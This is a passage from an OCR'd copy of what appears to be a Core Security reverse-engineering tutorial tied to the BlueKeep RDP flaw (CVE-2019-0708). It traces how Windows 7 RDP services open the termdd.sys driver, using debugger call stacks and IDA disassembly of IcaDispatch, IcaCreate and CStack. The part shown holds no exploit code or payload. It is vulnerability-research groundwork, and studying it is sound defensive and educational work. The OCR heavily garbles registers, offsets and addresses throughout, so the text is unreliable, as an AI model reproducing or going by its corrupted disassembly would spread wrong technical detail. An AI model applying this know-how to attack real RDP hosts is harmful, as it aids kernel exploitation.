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This work was originally done on Windows 7 Ultimate SP1 64-bit.
The versions of the libraries used in the tutorial are:

» termdd.sys version 6.1.7601.17514

» rdpwsx.dll version 6.1.7601.17828

» rdpwd.sys version 6.1.7601.17830
 icaapi.dll version 6.1.7600.16385

» rdpcorekmts.dll version 6.1.7601.17828

The Svchost.exe process

In the Windows NT operating system family, svchost.exe (‘'Service Host) is a system process that serves or

hosts multiple Windows services.

It runs on multiple instances, each hosting one or more services. It's indispensable in the execution of so-
called shared services processes, where a grouping of services can share processes in order to reduce the

use of system resources.

The tasklist /svc command on a console with administrator permission shows us the different svchost

processes and their associated services.

Also in PROCESS EXPLORER you can easily identify which of the SVChosts is the one that handles RDP

connections.(Remote Desktop Services)
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STEP 1) Initial reversing to find the point where the program

starts to parse my data decrypted

The first thing we'll do is try to see where the driver is called from, for that, once we're debugging the remote

kernel with Windbg or IDA, we put a breakpoint in the driver dispatch i.e. in the IcaDispatch function of

-2019-0708) | Core Security

termdd.sys.
IcaDispatch
IcaDispatch j =======s==s====== 5 UBROUTINE ====================s=====s=============
IcaDispatch
IcaDispatch
IcaDispatch ; _ inte4  fastcall IcaDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
IcaDispatch IcaDispatch proc near ; DATA XREF: .pdata:FFFFF88@@3C9E1E@40
IcaDispatch 5 DriverEntry+27Flo
IcaDispatch
IcaDispatch var_l18= gqword ptr -18h
IcaDispatch IrpDisposition= dword ptr 8
IcaDispatch arg_8= gqword ptr 18h
IcaDispatch arg_1@= gqword ptr 18h
IcaDispatch arg_18= gword ptr 26h
IcaDisiatch
IcaDispatch+5 mow [rspt+arg_16], rbp
IcaDispatch+A mov [rsptarg_ 18], rsi
IcaDispatch+F push rdi
IcaDispatch+l®@ sub rsp, 38h
IcaDispatch+l4  mov rsi, [rcx+deh]
IcaDispatch+18 mov rdi, rdx
IcaDispatch+1B  mow rdx, [rdx+8Bsh] 3 I0 _STACK_LOCATION
IcaDispatch+22  mov eax, [rsi]
IcaDispatch+24 mov rl@, rcx
IcaDispatch+27 and eax, @Fh
IcaDispatch+2A  cmp eax, 3
IcaDispatch+2D jnz short loc_FFFFFE80@3C964B6
|
In windbg bar | type
reload /f

!process 10

PROCESS fffffaB0o06598b30
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DirBase: 108706000 ObjectTable: fffff8a000f119a0 HandleCount: 662.

Image: svchost.exe

The call stack is

WINDBG>k

Child-SP RetAddr Call Site

fifff880°05c14728 fffff800 02bgs5b35 termdd!icaDispatch

fffff880°05¢c14730 fffff800°02b923d8 ntllopParseDevice+0x5a5

fifff880°05c148c0 fffff800°02bg35f6 nt!ObpLookupObjectName+ox588

fffff880°05c149bo fffff800 02bg4efc nt!ObOpenObjectByName+0ox306

fffff880°05c14a80 fffff800 02bgfbs4 ntllopCreateFile+ox2bc

fffff880 05c14b20 fffff800 0289b253 nt!NtCreateFile+tox78

fffff880°05c14bb0o 000000007781186a nt!KiSystemServiceCopyEnd+0x13

00000000 06d0f6¢c8 000007fe'fg5014b2 ntdll!NtCreateFiletoxa

00000000'06d0of6do 000007fe’fg5013f3 ICAAPI!IcaOpen+0xab

00000000'06d0f790 000007fe f7dbd2b6 ICAAPIlIcaOpen+0ox13

00000000'06d0f7¢c0 000007fe’ f7dco4bd rdpcorekmts!CKMRDPConnection:Initializelnstance+oxida

00000000'06d0f830 000007fe’f7dbbs8a rdpcorekmts! CKMRDPConnection:Listen+oxfg

00000000'06d0f8d0 000007fe f7dba8ea rdpcorekmts!ICKMRDPListener::ListenThreadWorker+oxae

00000000'06d0f910 000000007755652d rdpcorekmts!CKMRDPListener::staticListenThread+ox12

00000000 06d0fg40 00000000 777ec521 kernel32!BaseThreadlnitThunk+oxd

00000000'06d0f970 00000000°00000000 ntdllRtlUserThreadStart+oxid

An instance of CKMRDPListener class is created.

This thread is created, the start address of the thread is the method CKMRDPListener::staticListenThread
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loc_7FF2DSFB12B:
eax, [rbx+6EBh]

mov
mow
mov
mov
mov
mow
call
lea
lea
mov
and
mov
xor
xor
call
mov
mov
test
jz

rcx, rbx

[rbx+rsi*g+6Fah], eax
[rbx+6E8h], r13d
[rbx+rsi*g+6F4h], rl3d

rax, [rbx]

qword ptr [rax+8]
rll, [rsp+58h+ThreadId]

r8, CKMRDPListener::staticlistenThread(veid *) ; lpStartAddress

[rsp+58h+1pThreadId], rll ; lpThreadId
[rsp+58h+var_38], @

r9, rbx
edx, edx
ecx, BCxX

; lpParameter
; dwStackSize
3 1pThreadAttributes

cs:__imp CreateThread
rcx, [rbx+@C3eh] ; hobject

rsi, rax
rex, rex

short loc 7FF2DSFB188

[—]

the execution continues here

il e =

CKMRDPListener::ListenThreadWorker(void)

CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticListenThread(void *)
CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticlistenThread{void *) arg_B= qword ptr 8
CKMRDPListener::staticlistenThread(void *)
CKMRDPListener::staticlistenThread(void *) mov [rsp+arg_@], rbx
CKMRDPListener::staticlListenThread(void *)+5 push rdi
CKMRDPListener::staticlListenThread(void *)+6 sub rsp, 28h
CKMRDPListener::staticListenThread(void *)+A mov rdi, rex
CKMRDPListener::staticlListenThread(void *)+D call
CKMRDPListener::staticlistenThread(void *)+12  mov rdx, [rdi]
CKMRDPListener::staticlistenThread(void *)+15  mov rex, rdi
CKMRDPListener::staticlistenThread(void *)+18 mov ebx, eax
CKMRDPListener::staticlistenThread(void *)+1A  call gword ptr [rdx+18h]
CKMRDPListener::staticlistenThread(void *)+1D mov eax, ebx
CKMRDPListener::staticlistenThread(void *)+1F  mov rbx, [rsp+28h+arg_e]
CKMRDPListener::staticlListenThread(void *)+24  add rsp, 28h
CKMRDPListener::staticlistenThread(void *)+28 pop rdi
CKMRDPListener::staticListenThread(void *)+29 retn
CKMRDPListener::staticlistenThread(void *)+29
CKMRDPListener::staticlistenThread(void *)+29

; DWORD __ stdcall CKMRDPListener::staticlistenThread(LPVOID lpThreadParameter)
private: static unsigned long CKMRDPListener::staticlistenThread(veid *) proc near

-—

private: static unsigned long CKMRDPListener::staticlistenThread(veid *) endp

here
L
bl s
CKMRDPListener::ListenThreadWorker(void)+3B mov rax, [rcx]
CKMRDPListener::ListenThreadwWorker(void)+3E call gword ptr [raxt+léh]
X
here

JIF"'-‘—-ﬂﬁﬂ.

|
Y

e i
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+DB “
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+DB  loc_ 7FF2D6@B49F:
CKMRDPConnection::Listen(CKMRDPConnection * *,int *)+DB  mov rax, [rbx]
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)}4+DE mov r9, [rbp+29A8h]
CKMRDPConnection::Listen(CKMRDPConnection * *,int *)4ES  mov rg, [rbp+42eeh]
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+EC  lea rdx, [rbp+78h]
CKMRDPConnection::Listen(CKMRDPConnection * *,int *)}4F@ mov rcx, rbx
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+F3 call gword ptr [rax+aD3h]
CKMRDPConnection::Listen(CKMRDPConnection * *,int *)}4F3 mov esi, eax
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+FB  test eax, eax
CKMRDPConnection: :Listen(CKMRDPConnection * *,int *)+FD  jns short loc 7FF2D688B4CC
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|¢888En is called
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L]
F I
CKMRDPConnection: :InitializeInstance(ushort *,CKMRI
CKMRDPConne n: tance(ushort *,CKMR loc_7FF2DSFD2AD:
CK ushort *,CKMR lea rcx, [rbp+6dl
CKe ushort *,CKMR call IcaOpen’j‘L—-
K hort *,CKMR 1DA  mov esi, eax
i hort R bts esi, 1Ch
CK hort R cmp esi, rilsd
K hort (= mov [rsp+&8htarg @], esi
K short MR jge short loc_7FF2DSFD2CE
[y
MIEE
Icalpen ; Exported entry 13. IcaOpen
Icalpen
Icalpen
Icalpen
Icalpen public IcaOpen
Icalpen Icalpen proc near
Icalpen
Icalpen 3 FUMCTION CHUNK AT .text:808087FF784B1CEBe SIZE G0088882 BYTES
Icalpen
Icalpen push rbx
Icalpen+2 sub rsp, 28h
Icalpen+s Xor réd, rad ; size
Icalpen+d xor edx, edx ; Buffer
Icalpen+B Mo rbx, rcx ; FileHandle
Tcalpen+E call _Icalpen
Icalpentl3 test eax, eax
IcaOpentls  js loc_JVFF7e4B1CBE

Lol s 5
Icalpen+lB waor

geax, eax

We can see RDX (buffer) and r8d (size of buffer) both are equal to zero in this first call to lcaOpen.

Next the driver termdd is opened using the call to ntCreateFile

https://www.coresecurity.com/node/63548

IcaOpen+dDe

Icalpen+8D8 loc 7FF7B4B1CES:

Icalpen+8D@ and
Icalpen+8D4 mp

IcaOpen+8D@ ; START OF FUNCTION CHUNK FOR Icalpen

gword ptr [rbx], @
loc 7FF7R4BL3FD
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I
_Icalpen

_Icalpen

_Icalpen _IcaQpen proc near

_Icalpen

_Icalpen var_98= gword ptr -98h

_Icalpen var_%8= dword ptr -98h

_Icalpen var_B8= dword ptr -B8h

_Icalpen var_B@= dword ptr -B8h

_Icalpen var_78= dword ptr -78h

_Icalpen var_7@= gword ptr -78h

_Icalpen var_63= dword ptr -63h

_Icalpen DestinationString= _UNICODE_STRING ptr -5Bh
_Icalpen var_4d= byte ptr -4Eh

_Icalpen var_38= dword ptr -38h

_Icalpen wvar_3@= gword ptr -3@h

_Icabpen var_28= gqword ptr -28h

_Icalpen var_2@3= dword ptr -28h

_Icabpen var_l8= gword ptr -18h

_Icalpen var_lé= gword ptr -18h

_Icalpen var_B= byte ptr -8

_Icalpen arg_8= gword ptr B8

_Icalpen arg_B= gword ptr 18h

_Icalpen

_Icalpen mov [rspt+arg_8], rbx

_IcalpentS mav [rsptarg_B], rsi

_Icalpen+a push rdi

_IcaOpent+B sub rsp, B8&h

_IcaOpen+l2 mov rdi, rdx

_IcaOpen+ls  mov rsi, rcx

_IcaOpen+lBE  lea rdx, SourceString ; “\\Devicel\Termdd"
_IcaOpen+lF  lea rex, [rspt@Bgh+DestinationString] ; DestinationString
_IcaOpen+24  mov ebx, rid

_IcaOpent+27 call cs:__dimp RtlInitUnicodeString
_Icalpent+2D  wor BCH, BeCX

_IcaOpent+2F  mov [rspt@B&htvar_68], ebx
_Icalpen+3d3  mov [Fsp+BBBh+var_78], rdi
_IcaOpent+3B  mov [rspt@8&htvar_78], ecx
_IcaOpen+3C lea rax, [rFsptBB8h+DestinationString]
_IcaOpent+4l  mov [rspt@B&htvar_28], rax
_Icalpen+49  lea eax, [rex+3]

_IcaOpent+4l  mov [rspt@B8htvar_38], rcx
_Icalpent54  mov [rsp+BBEh+var B8], eax
_IcaOpen+SB  mov [rspt+BB8h+var_88], eax
_IcalpentSC mov [rsp+BBEh+var_38], ecx
_IcaOpen+6@  mov [rspt+B88h+var 98], rcx
_Icalpent+6S  mov [rsp+aBEh+var_18], rex
_IcaOpen+sD  mov [rspt+BB8h+var_18], rcx
_Icalpent?s  lea r3, [rsp+@BBh+var_48]
_IcaOpen+7A  lea r8, [rsp+@BBh+var_38]
_Icalpent+82 mov rex, rsi

_IcaOpen+85 mov edx, BCI100808h

_Icalpent+84 mov [rsp+eB8h+var_38], 38h ; ‘@'
_IcaOpen+d5  mov [rsp+B88h+var_ 28], 48h ; "@°
_IcaDpent+i®  call cs:__imp MtCreateFile
_IcaOpen+at  lea rll, [rsp+@88h+var 8]
_Icalpent+AE  mov rbx, [ril+ieh]

_IcaOpen+B2 mov rsi, [rl1+18h]

_Icalpen+B&  mov rsp, rll

_IcaOpen+B9 pop rdi

_Icalpen+BA  retn

_IcaOpen+BA _IcaOpen endp

_Icalpen+BA

We arrived to IcaDispatch when opening the driver.

https://www.coresecurity.com/node/63548
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M=
IcaDispatch
IcaDispatch ; =============== S UB RO U T I N E =s=s=oooooooooooooooooooooooooooooooooo
IcaDispatch
Icabispatch
IcaDispatch 3 _ inte4 _ fastcall IcaDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
IcaDispatch IcaDispatch proc near ; DATA XREF: .pdata:FFFFF88BB3C9ELERLC
Icabispatch 3 DriverEntry+27Fdo
IcaDispatch
IcaDispatch var_18= gword ptr -18h
IcaDispatch IrpDisposition= dword ptr 3
Icabispatch arg_8= qword ptr 1gh
IcaDispatch arg_le= gword ptr 18h
IcaDispatch arg_18= gword ptr 28h
IcaDispatch
T
IcaDispatch+5 mov [rsp+arg_1@], rbp
IcaDispatch+A mov [rsp+arg_18], rsi
IcabDispatch+F push rdi
IcaDispatch+1l®@  sub rsp, 38h
IcaDispatch+14  mov rsi, [rex+4eh]
IcalDispatch+l8 mov rdi, rdx
IcaDispatch+1lB  mov rdx, [rdx+@B85h] ; IO STACK_LOCATION
IcaDispatch+22  mov eax, [rsi]
IcaDispatch+24  mov ril@, rcx
IcalDispatch+27  and eax, ©@Fh
IcaDispatch+284  cmp eax, 3
IcaDispatch+2D  jnz short loc_FFFFFE3RB3C964E0
I
Reversmg we can see
S| e g e ar e s e e e e e s 3 e C e -
@
1| DeviceExtension_rsi = DeviceObject-»DeviceExtension;
2| _IRP rdi = Irp;
3| 10 sTACK LocaTich rdx = Irp->Tail.Overlay.CurrentStacklLocation;
4 1{ﬁeuice:bject = DeviceObject;
= wih = ¥ MNBEN #FANewvireFvteanzinn rzi £ GwF-
Icablispatch IrpDisposition= dword ptr &
IcaDispatch rbx_stored= qword ptr 18h
IcaDispatch rbp_stored= gqword ptr 13h
IcaDispatch rsi_stored= qword ptr 28h
IcaDisiatch
IcaDispatch+s mov [rsp+rbp_stored], rbp
IcaDispatch+A mov [rspt+rsi stored], rsi
IcaDispatch+F push rdi
IcaDispatch+1l®  sub rsp, 3@h
IcaDispatch+14  mov rsi, [rcx+ DEVICE OBJECT.DeviceExtensicn] ; RSI=DeviceExtension rsi
IcaDispatch+18  mov rdi, rdx ; RDI=_IRP rdi
IcaDispatch+1B  mov rdx, gqword ptr [rdx+( IRP.Tail+4@h}] ; RDX=I0 STACK LOCATION rdx
IcaDispatch+22  mov eax, dword ptr [rsi+ DEVICE EXTENSION.  u@.Flags]
IcaDispatch+24  mov rlg, rcx
IcaDispatch+27 and eax, @Fh
IcaDispatch+2A  cmp eax, 3
IcaDispatch+2D  jnz short loc_FFFFFEB88B3C964B0

The MajorFunction value is read here

51| 4
52 if ( I0 STACK LOCATION rdx-:MajorFunction }
53 {

54 wil@ = 1
55 i
56 {
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TEFIRSFRIEEAEL = 3 ===========================================================================
IcaDispatch+3C

IcaDispatch+3C loc_FFFFFE3@@3C964B0: ; CODE XREF: IcaDispatch+2Dtj
IcaDispatch+3C movzx  ecx, [rdx+ I0 STACK LOCATION.MajorFunction]

IcaDispatch+3F  xor ebx, ebx

IcaDispatch+4l cmp eax, 1

IcaDispatch+44  jz loc FFFFF33883C96612

As MajorFuncion equals 0 it takes us to IcaCreate

i
if { !I0 STACK_LOCATION rdx->MajorFunction )
1
i w27 = IcaCreate(( inte4) IRP rdi, (_ inte4)}I0 STACK LOCATION rdx);

goto LABEL 64;
) ~

L 4
I
TEFIESFRIEE{#UOC - =========================================s================-==o==-==========
IcaDispatch+2CC
IcaDispatch+2CC loc FFFFFBE@B3C96748: ; CODE XREF: IcaDispatch+1A81j
IcaDispatch+2CC mov rcx, rdi ;i p Irp
Icalispatch+2CF call IcaCreate
Inside IcaCreate, SystemBuffer is equal to 0
IcaCreate
IcaCreate mov [rsp+rbx_stored], rbx
IcaCreate+s mav [rsptrbp_stored], rbp
IcaCreate+A push rsi
IcaCreate+B push rdi
IcaCreate+C push ri2
IcaCreate+E sub rsp, 3@h
IcaCreate+l2 lea rgé, [rsp+d48h+byte] ; p_byte
IcaCreate+l? Mo rl2, rdx 3 R12=I0 STACK LOCATION rl2
IcaCreate+lD call IcalssystemProcessRequest
IcaCreate+22 movzx rlld, al 3 Rll= FsContext2 rlil
IcaCreate+26 mov rax, [rl2+ I0 STACK LOCATION.FileObject]
IcaCreate+2B  mov [rax+ FILE_OBJECT.FsContext2], rill
IcaCreate+2F  mov rcx, [rbp+ IRP.AssociatedIrp.SystemButfer] ; ROX=AssociatedIrp.SystemBuffer rox

186 return -1873741798;
187| return IcaCreateConnection(p Irp rbp, I0 STACK LOCATION rl2});
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IcaCreate+dl HEE D T T
IcaCreate+4l

IcaCreate+4C loc_FFFFF888@3C9F@54: ; CODE XREF: IcaCreate+3Btj
IcaCreate+d4C ; IcaCreate+d48tj

IcaCreate+d4C  mov rdx, rl2 3 I0 STACK_LOCATION rl2

IcaCreate+4F  mov rcx, rbp ; p_Irp_rbp

IcaCreate+52 call IcaCreateConnection

IcaCreate+57  jmp loc_FFFFF38@B3C9F185

A chunk of size 0x298 and tag ciST is created, and | call it chunk_CONNECTION.

Lol e LELVUTITIEL LLUT j§ SESSESESSSSSSSSSS D U D KU U I LN C SEEss s ss s ssss s SESSs s SS S sssSsssSssSssSss=S
IcaCreateConnection

IcaCreateConnection

IcaCreateConnection IcaCreateConnection proc near ; CODE XREF:
IcaCreateConnection 3 DATA XREF:
IcaCreateConnection

IcaCreateConnection var_18= gqword ptr -18h

IcaCreateConnection arg_@= qword ptr &8

IcaCreateConnection arg_l1e= gqword ptr 18h

IcaCreateConnection arg_l8= gqword ptr 26h

IcaCreateConnection

IcaCreateConnection mov [rsptarg_@8], rbx

IcaCreateConnection+s mov [rsp+arg_1@], rbp

IcaCreateConnection+A mov [rsptarg_18], rsi

IcaCreateConnection+F push rdi

IcaCreateConnection+1®  sub rsp, 38h

IcaCreateConnection+14  mov rax, cs:__security cookie
IcaCreateConnection+1B xor rax, rsp

IcaCreateConnection+lE  mov [rsp+38h+var_18], rax

IcaCreateConnection+23  mov rbp, rdx ; RBP=I0_STACK LOCATION rbp
IcaCreateConnection+26  mov edi, 293h

IcaCreateConnection+2B mowv réd, 'cisT’ ; Tag
IcaCreateConnection+3l mov rdx, rdi 3 NumberoOfBytes
IcaCreateConnection+34  xor eCX, €CX ; PoolType
IcaCreateConnection+36  call Cs: iTi ExAllacatEPaalhithTai
IcaCreateConnection+3F test rax, rax

IcaCreateConnection+42  jz loc_FFFFFBEEA3C960842

chunk_CONNECTION is stored in FILE_OBJECT.FsContext

IDA View-RIP x| IEI Local Types @ Stack of IcaCreate Breakpoints
IcaCreateConnection+5@ call memset
IcaCreateConnection+55  and [rbx+chunk COMNECTION.const_cero], @
IcaCreateConnection+58 lea rax, IcaConnectionDispatchTable
IcaCreateConnection+63  mov il el ONNEC TION . p_IcaConnectionDispatchTable], rax
IcaCreateConnection+87  mov [rbx+chunk_CONNECTION Jconst], 2
IcaCreateConnection+6E  call — reResourcelite
IcaCreateConnection+74  lea rcx, [rbxt+chunk CONMECTION.Rescurce_2] ; Resource
IcaCreateConnection+7B call cs:_ imp ExInitializeResourcelite
IcaCreateConnection+8l  lea r1l, [rbx+chunk CONMECTION.field 88]
IcaCreateConnection+88  lea rax, [rbxt+chunk_CONNECTION.off_chunk_ CONMNECTION]
IcaCreateConnection+8F  mowv [r11+8], rl1
IcaCreateConnection+93  mov [r11], r11
IcaCreateConnection+36  mov [rax+8], rax
IcaCreateConnection+94  mov [rax], rax
IcaCreateConnection+3D  lea rax, [rbx+chunk CONNECTION.field AS]
IcaCreateConnection+Ad4  lea rcx, [rbx+chunk CONMECTION.Ewent] ; Ewvent
IcaCreateConnection+AB  mov réb, 1 ; State
IcaCreateConnection+AE Xor edx, edx 3 Type
IcaCreateConnection+B@  mowv [rax+8], rax
IcaCreateConnection+B4  mov [rax], rax
IcaCreateConnection+B7  call cs:__ imp KeInitializeEvent
IcaCreateConnection+BD  mowv ril, [rbpe—_IO_STACK_LDCATION.Fileow_c_g_.‘-‘
IcaCreateConnection+{l  mov [r11+ FILE OBJECT.FsContext], rbx
IcaCreateConnection+C5  lock add [rbx+chunk_CONNECTION.const], @FFFFFFFFh
IcaCreateConnection+CA  jnz short loc_FFFFFB3883C9683E

| rename FsContext to FsContext_chunk_CONNECTION.

https://www.coresecurity.com/node/63548 9/61



lcalreatetonnection+sy  call memset
IcaCreateConnection+55  and [rbx+chunk CONNECTION.const cero], @
IcaCreateConnection+58 lea rax, IcaConnectionDisiatchTable
IcaCreateConnection+63  mov gword ptr [rbx+chunk_CONNECTION.p IcaConnectionDispatchTable], rax
IcaCreateConnection+67  mov [rbx+chunk CONNECTION.const], 2
IcaCreateConnection+6E  call cs:__imp ExInitializeResourcelite
IcaCreateConnection+74  lea rcx, [rbx+chunk CONNECTION.Resource 2] ; Resource
IcaCreateConnection+7B  call cs:__imp ExInitializeResourcelite
IcaCreateConnection+8l  lea rll, [rbx+chunk CONNECTION.field 88]
IcaCreateConnection+88  lea rax, [rbx+chunk CONNECTION.off_chunk CONNECTION]
IcaCreateConnection+8F mov [r11+8], rll
IcaCreateConnection+93  mov [r11], rl1
IcaCreateConnection+36 mov [rax+8], rax
IcaCreateConnection+84  mov [rax], rax
IcaCreateConnection+3D lea rax, [rbx+chunk CONNECTION.field A8]
IcaCreateConnection+Ad4  lea rcx, [rbxtchunk CONNECTION.Event] ; Event
IcaCreateConnection+AB  mov réb, 1 ; State
IcaCreateConnection+AE  xor edx, edx ; Type
IcaCreateConnection+B8 mov [rax+8], rax
IcaCreateConnection+B4  mov [rax], rax
IcaCreateConnection+B7 call cs:_imp KelInitializeEwent
IcaCreateConnection+BD  mov rll, [chod T0 STACK IOCATTON EileOhdect]
IcaCreateConnection+C1  mov [r114] FILE OBJECT.FsContext_chunk CONNECTION] ] rbx
IcaCreateConnection+C5  lock add [rbx+chunk .CONS
IcaCreateConnection+CA  jnz short loc_FFFFFE8883C9683E
A J
[ ] L

IcaDispatch is called for second time

Child-SP RetAddr Call Site

fffff880 05c146a0 fffff880'03c96748 termdd!lcaCreate+0x36

fifff880°05c146f0 fifff800°02bgs5b35 termdd!icaDispatch+ox2d4

fifff880°05c14730 fffff800 02b9g23d8 nt!lopParseDevice+Ox5a5

fffff880°05¢c148c0 fffff800°02b935f6 nt!ObpLookupObjectName+0x588

fffff880°05¢c149b0 fffff800 02bggefc nt!ObOpenObjectByName+0x306

fffff880°05c14a80 fffff800 02bgfbs4 ntllopCreateFile+ox2bc

fffff880 05c14b20 fffff800° 0289253 nt!NtCreateFile+0x78

fffff880°05c14bb0 000000007781186a nt!KiSystemServiceCopyEnd+0ox13

00000000 06d0f618 000007fe fg5014b2 ntdll!NtCreateFile+oxa

00000000'06d0f620 000007fe’fg5018c9 ICAAPIlIcaOpen+0oxab

00000000'06d0f6e0 000007fe fg5017e8 ICAAPIlIcaStackOpen+oOxa4

00000000'06d0f710 000007fe’ f7dbco15 ICAAPIlIcaStackOpen+ox83

00000000°06d0f760 000007fe f7dbd2fg rdpcorekmts!CStack::CStack+ox189
00000000'06d0f7c0 000007fe’ f7dco4bd rdpcorekmisICKMRDPConnection:Initializelnstance+ox21d
00000000'06d0f830 000007fe’f7dbbs8a rdpcorekmts! CKMRDPConnection:Listen+oxfg
00000000'06d0f8do 000007fef7dba8ea rdpcorekmtsICKMRDPListener::ListenThreadWorker+oxae
00000000'06d0fg910 00000000°7755652d rdpcorekmts!CKMRDPListener::staticListenThread+ox12
00000000 06d0fg40 00000000 777ec521 kernel32!BaseThreadlnitThunk+oxd

00000000'06d0fg70 00000000°00000000 ntdll!RtlUserThreadStart+oxid

We had seen that the previous call to the driver had been generated here
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1 loc_7FF2DSFD2AD:

1 lea rcx, [rbp+68h]

5 call IcaOpen \
L mov es51, eax

C bts esi, 1Ch T
cmp esi, risd

E3  mov [rsp+68h+arg 8], esi
57 e short loc_7FF2D5SFD2CE

55

2 loc_7FF2DSFD2CE: ; unsigned _ inte4
mov ecx, 666h

call  operator new(unsigned _ int64)

FC cmp rax, ris

FEojz short loc_7FF2D5FD300

rdx, [rbp+&sh]

rcx, [rspt68htarg_@]

rod, rad

[rsp+68htvar_48], rcx

rex, rax

r8, rbx

CStack: :CStack(void *,IWsx *, STACKCLASS,long *})
esi, [rsp+68h+arg @]

rdi, rax

=2 loc_7FF2DSFD2CE: 3 unsigned _ int64

F2Z  mov ecx, 668h
call operator new{unsigned _ int&4)

IFC cmp rax, ri5
jz short loc_7FF2D5FD3@0

M= |
And the class constructor is called.
|-I-Z"13=-I:“5:-_i:‘::Z*i:ia'.i:fi*z—_a*:e ushort ':.-I-j":IT::':—_:::'."5‘5?;5' Z:\ *)+1FF jzl short loc_7FF2D5FD3@@ I

mov rdx, [rbp+68h]

25 lea rcx, [rsp+68h+arg @]
+20A  xor road, rod

+2680 mov [rsp+68h+var_48], rox
12 mov rcx, rax
mov ré, rbx

call CStack::CStack(void *,IWsx *, STACKCLASS,long *)
esi, [rsp+68h+arg_@]
rdi, rax

[
= 2 e

this matches the current call stack

fffff880 05c146a0 fffff880 03c96748 termdd!lcaCreate+ox36
fffff880°05c146f0 fffff800 02bgsb35 termdd!icaDispatch+ox2d4
fifff880°05c14730 fffff800 02b9g23d8 nt!lopParseDevice+Ox5a5
fffff880°05c148c0 fffff800 02b935f6 nt!ObpLookupObjectName+0x588
fffff880°05¢c149b0 fffff800 02bggefc nt!ObOpenObjectByName+0x306
fffff880°05c14a80 fffff800 02bgfbs4 ntllopCreateFile+tox2bc

fffff880° 05c14b20 fffff8000289b253 nt!NtCreateFile+ox78
fffff880°05c14bb0 000000007781186a nt!KiSystemServiceCopyEnd+0x13
00000000°'06d0f618 000007fe’ fg5014b2 ntdll!INtCreateFile+oxa
00000000°'06d0f620 000007fe’ f95018c9 ICAAPIIcaOpen+0xab

00000000'06d0f6e0 000007fe fg5017e8 ICAAPIlIcaStackOpen+oxa4
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b88E8b00 06dof710 000007fe f7dEITE REXRPHIEESIEERE S eprEitgs CVE-2019-0708) | Core Security
00000000°06d0f760 000007fe f7dbd2fg rdpcorekmts!CStack::CStack+ox189
00000000°06d0f7c0 000007fe f7dco4bd rdpcorekmts!CKMRDPConnection::Initializelnstance+ox21d

00000000°'06d0f830 000007fe’f7dbbs8a rdpcorekmts!CKMRDPConnection::Listen+oxfg
00000000°'06d0of8do 000007fe'f7dba8ea rdpcorekmts!CKMRDPListener::ListenThreadWorker+oxae
00000000°'06d0fg910 00000000'7755652d rdpcorekmts!CKMRDPListener::staticListenThread+ox12
00000000°'06d0fg40 00000000 777ec521 kernel32!BaseThreadlnitThunk+oxd

00000000°'06d0fg70 00000000'00000000 ntdllU!RtlUserThreadStart+oxid

The highlighted text is the same for both calls, the difference is the red line and the upper lines

00000000'06d0f7c0 000007fe f7dco4bd rdpcorekmis!CKMRDPConnection:Initializelnstance+oxida

A J
[l e (=1 N

\ loc_7FF2D5FD2AD:

lea rcx, [rbpt6gh]
I CKMRDPConnection::InitializeInstance(ushort *,CKMRDPProtocolManager *,IWsx *)+1D5 Icall Ica{)pgﬂ

mov esi, eax
bts esi, 1Ch
cmp esi, rilsd
mov [rsp+68h+arg_@8], esi
jge short loc_7FF2D5FD2CE

The second call returns to

00000000'06d0f7c0 000007fe’ f7dco4bd rdpcorekmtsICKMRDPConnection:Initializelnstance+ox21d

L |
loc_JFF2DSFD2AD:
lea rcx, [rbp+6sh]
call IcaOpen
mov esi, eax
bts esi, 1Ch
cmp esi, risd
mov [rsp+68h+arg @], esi
jge short loc_7FF2D5FD2CE
h J
[l s =1
loc_7FF2DSFD2CE: 3 unsigned __intG64
mow ecx, 668h
call operator new(unsigned __ int64)
cmp rax, ril5s
jz short loc_7FF2DSFD388
Ll cs =5
mov rdx, [rbp+68h]
lea rcx, [rsp+68h+arg 8]
xor rod, rod
mov [rsp+&8h+var_48], rcx
mov rex, rax
mov rg, rbx
I CKMRDPConnection: :InitializeInstance(ushort *,CKMRDPProtocolManager *,IWsx *)+ call Cstack::CStack(void *,IWsx *, STACKCLASS,long *)
mov esi, [rsp+esh+arg @]
mov rdi, rax \
A J
[ p—y ) 1

And this second call continues to
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ack::CStack(void *,IWsx *, STACKCLASS,long *)+16@ jns

short loc_7FF2D5FBFF7|

il e =]

CStack::CStack(void
CStack: :CStack(void
CStack: :CStack(void
CStack::CStack(void
CStack: :CStack(void
CStack: :CStack(void
CStack: :CStack(void
CStack::CStack(void
CStack: :CStack(void
CStack: :CStack(void
CStack: :CStack(void
CStack: :CStack(void

* IWsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx
*, Ihsx

*
*
*
*
*
*
*
*
*
*
*
*

,_STACKCLASS,long *)+16B
,_STACKCLASS,long *)+16B
,_STACKCLASS,long *)+16B
,_STACKCLASS,long *)+172

TACKCLASS,long *)+179
TACKCLASS,long *)+17C
TACKCLASS,long *)+17F

wn

E}

wn

E}

wn

E}

STACKCLASS, long *)+184

S
,_STACKCLASS,long *)+189
,_STACKCLASS,long *)+18B
,_STACKCLASS,long *)+18F

,_STACKCLASS,long *)+191

loc_7FF2D5FBFF7:

mov rcx, [rdi+638h]

lea rg, CStack::staticExtensionIoControl(void *,void *,uleng,void *,ulong,void *,ulong,ulong *)
mow r9, rdi

mow edx, rl3d

mov [rsp+58h+var_38], rbp
call IcaStackOpen

mow ebx, eax

bts ebx, 1Ch

test ebx, ebx

jns short loc_7FF2DSFCA3A

Next
|J.Ld2|LdLK.U|'_||:'rH'3H J= 0L JsTr/esDLLCLC
Y
sl et 5=
IcaStackOpen+e@ xor edx, eax
IcaStackOpen+62  lea rdx, [rbx+4ah]
IcaStackOpen+6e  lea r9, [rsp+dsdh+var 28]
IcaStackOpent+6BE  mov [rsp+48h+var 28], rax
IcaStackOpent78  xor réd, rad
IcaStackOpent73 mov rcx, rl3
